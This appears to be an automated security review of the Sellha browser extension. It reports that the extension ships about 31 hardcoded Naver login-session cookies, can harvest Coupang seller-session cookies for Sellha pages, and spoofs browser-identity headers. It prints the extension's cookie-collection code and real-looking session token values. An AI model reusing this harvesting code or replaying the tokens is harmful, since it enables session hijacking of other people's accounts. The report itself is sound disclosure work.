Is Sellha safe?
Sellha is high risk. Sellha's background.js hardcodes about 31 Naver cookie strings; 20 hold login-session tokens (NID_AUT, NID_SES) plus NNB/NID_JKL identifiers. Naver Shopping requests pick one at random as the Cookie header via declarativeNetRequest.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Bundle ships hardcoded Naver login cookies, replayed on shopping API calls
Sellha's background.js hardcodes about 31 Naver cookie strings; 20 hold login-session tokens (NID_AUT, NID_SES) plus NNB/NID_JKL identifiers.
Naver Shopping requests pick one at random as the Cookie header via declarativeNetRequest.
You open a Naver Shopping search or product page.
Sellha runs on search.shopping.naver.com to add its pricing and ranking overlays.
The extension attaches a stored Naver login cookie to its data request.
background.js picks one of about 31 hardcoded cookie strings at random and sets it as the Cookie header before fetching the Naver API.
| Field | Value | Why it matters | |
|---|---|---|---|
Naver auth token (NID_AUT) | NID_AUT=H2p2cpP7kBnb9yvks6uf6m8YUlM9IrZlUMjYCeMN7Gl8bY0eYk9Vq/s13RmKUOgL | The token Naver issues to a logged-in browser to prove authentication. Replaying it makes a request look like it's from that user. | |
Naver session token (NID_SES) | NID_SES=AAABhklDZ7uI7C9y4tcChnYMUxvM/... | The companion session cookie Naver sets for a logged-in browser. Together with NID_AUT it represents an active login. | |
Naver account identifier (NID_JKL) | NID_JKL=lgc2ERhuq03cJPVQON4YfJr6zoMWdJ5y5V+ceGm77V4= | An account-linked identifier Naver attaches to a signed-in session. | |
Naver device cookie (NNB) | NNB=L4TADBFLU5YWK | A long-lived Naver browser/device identifier carried in every string. | |
Capture-time marker (wcs_bt) | wcs_bt=s_315a14666bdf4:1708650649 | A timestamped value embedded in the strings; the values correspond to early 2024, indicating when these sessions were captured. |
The Cookie header is set from a randomly chosen hardcoded string
var rule = {
removeRuleIds: [200, 300],
addRules: [{
id: 200,
priority: 1,
action: {
type: "modifyHeaders",
requestHeaders: [
/* Accept, Accept-Language, Sec-Fetch-* ... */
{ header: "Referer", operation: "set", value: a },
{ header: "Cookie", operation: "set",
value: i.cookies[random(i.cookies.length)] } // one of ~31 hardcoded Naver sessions
]
},
condition: { urlFilter: t, resourceTypes: ["xmlhttprequest"] }
}]
};
chrome.declarativeNetRequest.updateDynamicRules(rule, function () {
fetch(t, { method: "GET" }).then(r => r.text());
});Parses the extension's background.js, locates the hardcoded cookies[] array, and reports how many entries carry well-formed Naver login-session tokens (NID_AUT + NID_SES + NNB + NID_JKL). Lets a reviewer reproduce the count without trusting our summary.
// Usage: node extract-naver-tokens.js path/to/background.js
const fs = require('fs');
const src = fs.readFileSync(process.argv[2] || 'background.js', 'utf8');
// Find the cookies: [ ... ] array literal.
const start = src.indexOf('cookies:');
if (start < 0) { console.error('no cookies: array found'); process.exit(1); }
const open = src.indexOf('[', start);
let depth = 0, end = -1;
for (let i = open; i < src.length; i++) {
if (src[i] === '[') depth++;
else if (src[i] === ']') { depth--; if (depth === 0) { end = i; break; } }
}
const arrText = src.slice(open, end + 1);
// Split on top-level commas between quoted strings (rough but effective here).
const strings = arrText.match(/'[^']*'|"[^"]*"/g) || [];
let wellFormed = 0;
for (const raw of strings) {
const s = raw.slice(1, -1);
const aut = /NID_AUT=([^;]+)/.exec(s);
const ses = /NID_SES=([^;]+)/.exec(s);
const hasNNB = /NNB=/.test(s);
const hasJKL = /NID_JKL=/.test(s);
if (aut && ses && hasNNB && hasJKL &&
aut[1].length >= 50 && ses[1].length >= 100) wellFormed++;
}
console.log('cookie strings found:', strings.length);
console.log('strings with well-formed Naver login session:', wellFormed);- 1Obtain the extension's deobfuscated background.js.
- 2Run: node extract-naver-tokens.js background.js.
- 3Compare the reported counts against the figures in this report (~31 strings, 20 well-formed).
These cookie strings are shipped in the extension bundle and the same value is sent to whichever Naver session it belongs to, on requests to `search.shopping.naver.com`. We confirmed the presence, count, and format of the tokens by static analysis of the shipped `background.js`. We did not attempt to use any of these tokens against Naver, and the captured sessions (dated early 2024) may have since expired. The finding is that valid-format third-party login-session cookies are embedded in the distributed code and wired into the request path.
Sellha can request Coupang seller-session cookies
Sellha pages allowed by the extension can ask it for Coupang seller-session data.
On success, it opens the Coupang portal, reads store details and .coupang.com cookies via its content script, and returns them.
No payload was captured.
You use a Sellha page that is allowed to talk to the extension.
The extension manifest allows Sellha domains to send external messages.
The extension can open Coupang, collect seller-session fields, and return them to that Sellha page.
Dynamic analysis confirmed the message handler was reachable; a logged-in Coupang seller session is needed to produce live cookie values.
| Field | Value | Why it matters | |
|---|---|---|---|
Coupang seller ID | A1047293 (illustrative) | This identifies the seller account currently open in the Coupang seller portal. | |
Coupang seller name | Seoul Market Direct (illustrative) | This names the seller account or business visible in the Coupang seller portal. | |
Page cookies | JSESSIONID=9E0F4B4D1F0C7A6B2C9D8E7F6A5B4C3D; wing-locale=ko_KR; (illustrative) | These values describe the active Coupang seller browser session available to the page. | |
Browser cookie-store tokens | msp_sid=8f7c1a9e0d4b2c6a; sxSessionId=6e2b91c044fd4a31; OAuth_Token_Request_State=77a1d4e8f2b94310; (illustrative) | These values can preserve or describe an authenticated Coupang session outside the page itself. |
The external message path that collects Coupang seller-session data
case 188:
if (!e || "getCoupangWingCookieStoreInfo" !== e.message) {
t.next = 203;
break
}
return t.prev = 189, t.next = 192, chrome.tabs.create({
url: "https://wing.coupang.com/",
active: !1
});
case 192:
return g = t.sent, t.next = 195, Object(n.sleep)(4e3);
case 195:
chrome.tabs.sendMessage(g.id, {
message: e.message
}, (function(e) {
var t;
"success" === e.status ? chrome.cookies.getAll({
domain: ".coupang.com"
}, (function(n) {
t = Object(i.convertCookiesToString)(n), a(m(m({}, e), {}, {
cookie: t
}))
})) : a(e), chrome.tabs.remove(g.id)
})), t.next = 201;
break;
case 198:
t.prev = 198, t.t0 = t.catch(189), a({
status: "failed"
});
case 201:
t.next = 368;
break;convertCookiesToString: function(e) {
for (var t = "", a = 0; a < e.length; a++) "msp_sid" !== e[a].name && "bm_sz" !== e[a].name && "wing-locale" !== e[a].name && "sc_uid" !== e[a].name && "ak_bmsc" !== e[a].name && "sc_vid" !== e[a].name && "JSESSIONID" !== e[a].name && "sxSessionId" !== e[a].name && "OAuth_Token_Request_State" !== e[a].name && "PCID" !== e[a].name && "sc_lid" !== e[a].name && "_abck" !== e[a].name && "KC_REDIRECT" !== e[a].name && "x-coupang-accept-language" !== e[a].name && "_fbp" !== e[a].name && "_ga_MM7Y29P0HZ" !== e[a].name && "gd1" !== e[a].name && "AWSALB" !== e[a].name && "AWSALBCORS" !== e[a].name && "AWSALBTG" !== e[a].name && "AWSALBTGCORS" !== e[a].name && "aid" !== e[a].name && "AWSALB" !== e[a].name && "cmgbd-sid" !== e[a].name && "cmgrpt_sid" !== e[a].name && "locale" !== e[a].name || (t += "".concat(e[a].name, "=").concat(e[a].value, ";"));
return t
}var f = function() {
var t = c(n().mark((function t(e) {
var r, o, a, u;
return n().wrap((function(t) {
for (;;) switch (t.prev = t.next) {
case 0:
return t.prev = 0, r = document.querySelector("#wing-top-header-user-action-layer > div > div.my-user-menu-top > div.vendor-id-wrapper span").innerHTML.replace("업체코드 ", ""), o = document.querySelector("#wing-top-header-user-action-layer > div > div.my-user-menu-top > div.vendor-name-wrapper span").innerHTML, a = document.cookie, u = {
storeId: r,
storeName: o,
cookie: a
}, t.abrupt("return", i(i({}, u), {}, {
status: "success"
}));
case 8:
return t.prev = 8, t.t0 = t.catch(0), console.log(t.t0), t.abrupt("return", {
status: "failed"
});
case 12:
case "end":
return t.stop()
}
}), t, null, [
[0, 8]
])
})));
return function(e) {
return t.apply(this, arguments)
}
}();
chrome.runtime.onMessage.addListener((function(t, e, r) {
return function() {
var e = c(n().mark((function e() {
var o, i;
return n().wrap((function(e) {
for (;;) switch (e.prev = e.next) {
case 0:
if (console.log("reqeust: ", t), o = t.message, console.log("message: ", o), "getCoupangWingCookieStoreInfo" !== o && "getAdCoupangWingCookieStoreInfo" !== o) {
e.next = 10;
break
}
return e.next = 6, f();
case 6:
i = e.sent, r(i), e.next = 11;
break;
case 10:
r({
status: "failed"
});
case 11:
case "end":
return e.stop()
}
}), e)
})));
return function() {
return e.apply(this, arguments)
}
}()(), !0
}))- sellha.kr
Allowed web origin that can request Coupang seller cookie and store information through the extension.
- sellha.co.kr
Allowed Sellha web origin with the same external-message access.
- sellha.net
Allowed Sellha web origin with the same external-message access.
- wing.coupang.com
Coupang seller portal opened by the extension to read seller-page details and session cookies.
- advertising.coupang.com
Coupang advertising portal used by the related getAdCoupangWingCookieStoreInfo flow.
Extension overwrites User-Agent and client-hint headers on Naver/Coupang APIs
Sellha overwrites browser-identity headers on Naver/Coupang requests via declarativeNetRequest: Accept-Language, Sec-Ch-Ua, Sec-Fetch-* on Naver Shopping; a desktop UA on Naver search; iPhone Safari UA on Coupang.
Identity is fabricated.
The extension makes a data request to a Naver or Coupang API.
These requests back the price, ranking and sales overlays Sellha draws on shopping pages.
The request's browser-identity headers are overwritten with fixed fabricated values.
declarativeNetRequest rules replace User-Agent, Sec-Ch-Ua, Accept-Language, Sec-Fetch-* and Referer so the request does not present the real browser's identity.
| Field | Value | Why it matters | |
|---|---|---|---|
Browser identity (User-Agent) | Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 ... Mobile/15E148 Safari/604.1 | Replaced with a fixed desktop Chrome string on Naver search and iPhone/iOS 16 Safari on Coupang mobile APIs, not your real browser's. | |
Client hints (Sec-Ch-Ua) | "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123" | Declares a specific Chrome major version to the server independent of the real browser. | |
Accept-Language | ko,en-US;q=0.9,en;q=0.8,ko-KR;q=0.7 | Pinned to a Korean-first language preference on the API calls. | |
Referer | https://search.shopping.naver.com/ns/search?query=... | Set to a Naver search URL so the request appears to originate from a normal in-site navigation. |
Shipped header-rewrite rule vs the dynamic per-fetch rule
var rule = {
removeRuleIds: [200, 300],
addRules: [{
id: 200, priority: 1,
action: { type: "modifyHeaders", requestHeaders: [
{ header: "Accept-Language", operation: "set", value: "ko,en-US;q=0.9,en;q=0.8,ko-KR;q=0.7" },
{ header: "Sec-Ch-Ua-Mobile", operation: "set", value: "?0" },
{ header: "Sec-Fetch-Dest", operation: "set", value: "empty" },
{ header: "Sec-Fetch-Mode", operation: "set", value: "cors" },
{ header: "Sec-Fetch-Site", operation: "set", value: "same-origin" },
{ header: "Referer", operation: "set", value: a } // caller-supplied Naver URL
] },
condition: { urlFilter: t, resourceTypes: ["xmlhttprequest"] }
}]
};
chrome.declarativeNetRequest.updateDynamicRules(rule, function () {
fetch(t, { method: "GET" });
});These header rewrites apply only to the extension's own requests to specific Naver and Coupang API and search endpoints declared in `rules.json` and built in `background.js` — they do not alter headers for unrelated sites. We confirmed the rules and code paths by static analysis of the shipped `rules.json` and `background.js`. We did not run the extension to capture a specific outgoing request in our test session. The finding is that the distributed code presents a fixed, fabricated browser identity on these requests rather than the real browser's identity.